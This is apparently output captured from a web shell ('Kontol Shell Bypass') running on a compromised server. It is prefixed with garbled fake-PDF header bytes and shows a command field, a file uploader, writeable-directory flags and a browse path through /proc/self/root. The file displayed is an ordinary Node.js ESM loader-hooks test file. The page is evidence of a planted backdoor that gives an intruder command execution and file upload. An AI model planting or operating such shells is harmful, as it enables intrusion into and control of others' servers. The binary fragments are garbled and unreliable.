%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/test/es-module/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/test/es-module/test-esm-loader-hooks.mjs
// Flags: --expose-internals
import { mustCall } from '../common/index.mjs';
import esmLoaderModule from 'internal/modules/esm/loader';
import assert from 'assert';

const { ESMLoader } = esmLoaderModule;

/**
 * Verify custom hooks are called with appropriate arguments.
 */
{
  const esmLoader = new ESMLoader();

  const originalSpecifier = 'foo/bar';
  const importAssertions = {
    __proto__: null,
    type: 'json',
  };
  const parentURL = 'file:///entrypoint.js';
  const resolvedURL = 'file:///foo/bar.js';
  const suggestedFormat = 'test';

  function resolve(specifier, context, defaultResolve) {
    assert.strictEqual(specifier, originalSpecifier);
    // Ensure `context` has all and only the properties it's supposed to
    assert.deepStrictEqual(Object.keys(context), [
      'conditions',
      'importAssertions',
      'parentURL',
    ]);
    assert.ok(Array.isArray(context.conditions));
    assert.deepStrictEqual(context.importAssertions, importAssertions);
    assert.strictEqual(context.parentURL, parentURL);
    assert.strictEqual(typeof defaultResolve, 'function');

    return {
      format: suggestedFormat,
      shortCircuit: true,
      url: resolvedURL,
    };
  }

  function load(resolvedURL, context, defaultLoad) {
    assert.strictEqual(resolvedURL, resolvedURL);
    assert.ok(new URL(resolvedURL));
    // Ensure `context` has all and only the properties it's supposed to
    assert.deepStrictEqual(Object.keys(context), [
      'format',
      'importAssertions',
    ]);
    assert.strictEqual(context.format, suggestedFormat);
    assert.deepStrictEqual(context.importAssertions, importAssertions);
    assert.strictEqual(typeof defaultLoad, 'function');

    // This doesn't matter (just to avoid errors)
    return {
      format: 'module',
      shortCircuit: true,
      source: '',
    };
  }

  const customLoader = [
    {
      exports: {
        // Ensure ESMLoader actually calls the custom hooks
        resolve: mustCall(resolve),
        load: mustCall(load),
      },
      url: import.meta.url,
    },
  ];

  esmLoader.addCustomLoaders(customLoader);

  // Manually trigger hooks (since ESMLoader is not actually running)
  const job = await esmLoader.getModuleJob(
    originalSpecifier,
    parentURL,
    importAssertions,
  );
  await job.modulePromise;
}

Kontol Shell Bypass